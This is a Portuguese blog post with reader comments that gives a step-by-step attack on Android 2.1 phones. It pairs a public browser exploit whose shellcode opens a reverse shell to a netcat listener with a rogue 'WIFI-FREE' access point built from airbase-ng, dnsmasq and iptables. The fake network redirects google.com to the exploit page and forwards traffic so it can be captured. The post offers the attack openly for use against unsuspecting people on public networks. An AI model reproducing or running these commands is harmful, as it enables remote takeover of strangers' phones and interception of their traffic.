A vulnerabilidade foi descoberta por M.J. Keith, quem também publicou um exploit durante uma conferência em Houston, e logo Itzhak Avraham realizou algumas melhorias no mesmo, para dar-lhe maior grau de sucesso na exploração.
Esta vulnerabilidade afeta os celulares Android com a versão 2.1 e inferiores, e apesar da última versão 2.2 não ser afetada, nem todos os fabricantes ou operadoras obrigam seus usuários a atualizar o software.
Por exemplo, em meus testes, utilizei um Motorola Milestone com Android 2.1-update1, e apesar da versão 2.2 estar disponível há um bom tempo, apenas recentemente a Motorola começou a realizar os upgrades para o Milestone na América Latina, isso no primeiro trimestre de 2011.
Uma vergonha por parte dos fabricantes e operadoras! Lembrando que já está disponível a versão 2.3 do Android, agora em Março/2011.
Explorando o Android
Para explorar essa vulnerabilidade, o celular com Android deve acessar um site web que possua o código malicioso.
Poderíamos fazer isso na internet, ou como vamos fazer a seguir, levantar um Access Point falso para liberar o acesso à Internet para pessoas com celulares, e quando realizarem uma requisição específica de DNS, redirecionaremos à um site hospedado localmente com o código malicioso.
Preparando o Exploit
Baixamos o exploit e o deixamos no home do Apache com o nome "index.html":
# nano /var/www/index.html
[cole o conteúdo do exploit dentro desse arquivo, e salve]
# /etc/init.d/apache2 start
Nas primeiras linhas do exploit melhorado por Itzhak, podemos encontrar a possibilidade de facilmente alterar o endereço IP e a porta do shellcode:
var ip = unescape("\ua8c0\u0100"); // ip = 192.168.0.1
var port = unescape("\u3930"); //port 12345 (hex(0x3039))
var port = unescape("\u3930"); //port 12345 (hex(0x3039))
Nesse caso, uma vez que a exploração tenha sucesso, será criada uma conexão reversa para o IP "192.168.0.1" na porta "12345", para a qual devemos já ter deixado em estado de escuta o netcat nessa porta:
# nc -l -p 12345 -n -vvv
listening on [any] 12345 ...
Preparando o Access Point falso
Com o que foi executado no passo anterior, já estaríamos em condição de atacar com sucesso uma vítima se tivéssemos utilizando um IP público na Internet.
Mas a ideia a seguir é levantar um Access Point falso com o airodump-ng para que as pessoas com celulares acessem o mesmo em busca de internet grátis, e quando realizarem uma requisição à um DNS específico, redirecionamos a vítima para nosso Apache com o código malicioso.
Primeiro vamos configurar o Dnsmasq, que nos vair prover o serviço de DNS e DHCP para nosso Access Point falso. Se não os tivermos instalado, podemos fazer da seguinte forma:
# apt-get install dnsmasq
# /etc/init.d/dnsmasq stop
Logo devemos nos assegurar de configurar em qual interface de rede o Dnsmasq ficará escutando, configurar o range de endereços IP que entregará às vítimas, e qual o domínio será redirecionado para nosso Apache com o exploit, que nesse caso será "google.com":
# nano /etc/dnsmasq.conf
interface=at0
dhcp-range=192.168.0.5,192.168.0.20,12h
address=/google.com/192.168.0.1
dhcp-range=192.168.0.5,192.168.0.20,12h
address=/google.com/192.168.0.1
# /etc/init.d/dnsmasq start
Se tivermos internet (3G por exemplo, se estivermos em algum local público), seria uma boa idéia encaminhar todo o tráfego para que a vítima acredite que está em uma rede wireless comum, e de brinde teremos a possibilidade de capturarmos algo de seu tráfego:
# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Finalmente, levantamos o Access Point falso com o airbase-ng e configuramos a interface de rede "at0", criada pelo airbase-ng, com o endereço IP onde se realizará a conexão reversa:
# airbase-ng -C 30 --essid "WIFI-FREE" wlan0
# ifconfig at0 192.168.0.1 netmask 255.255.255.0 up
Nesse caso, a rede se chama "WIFI-FREE", mas podemos colocar qualquer outro nome que escolhermos.
Atacando a vítima
Por minha experiência com o Motorola Milestone, quando habilitamos a placa wireless do celular, inicia-se a detecção de redes na área e conectamos manualmente na qual desejamos, principalmente nas que estão abertas e sem criptografia. Depois da primeira vez que fazemos isso, nas vezes seguintes a conexão é automática.
Quando a vitima estiver conectada, o tráfego de rede passará normalmente até o momento em que a vítima acesse o "www.google.com", de onde será direcionada para nosso Apache e obteremos uma conexão reversa no netcat que deixamos escutando:
Uma vez que recebemos a conexão reversa, podemos executar comandos do Android como "/system/bin/id" ou "/system/bin/ps" para verificar que efetivamente podemos acessar o dispositivo.
That's all folks!
Muito bom Luiz! Caramba, engenhosa essa técnica, quem tem celular com wifi é de lei procurar um rede aberta pra navegar rsrs...
ResponderExcluirInteressante a técnica.. já adicionei no meu Fav.
ResponderExcluirS.'.M.'. ?
Valeu Ronaldo :-)
ResponderExcluirFellipe, m.'.i.'.c.'.t.'.m.'.r.'.
Um T.'.F.'.A.'. pra vc!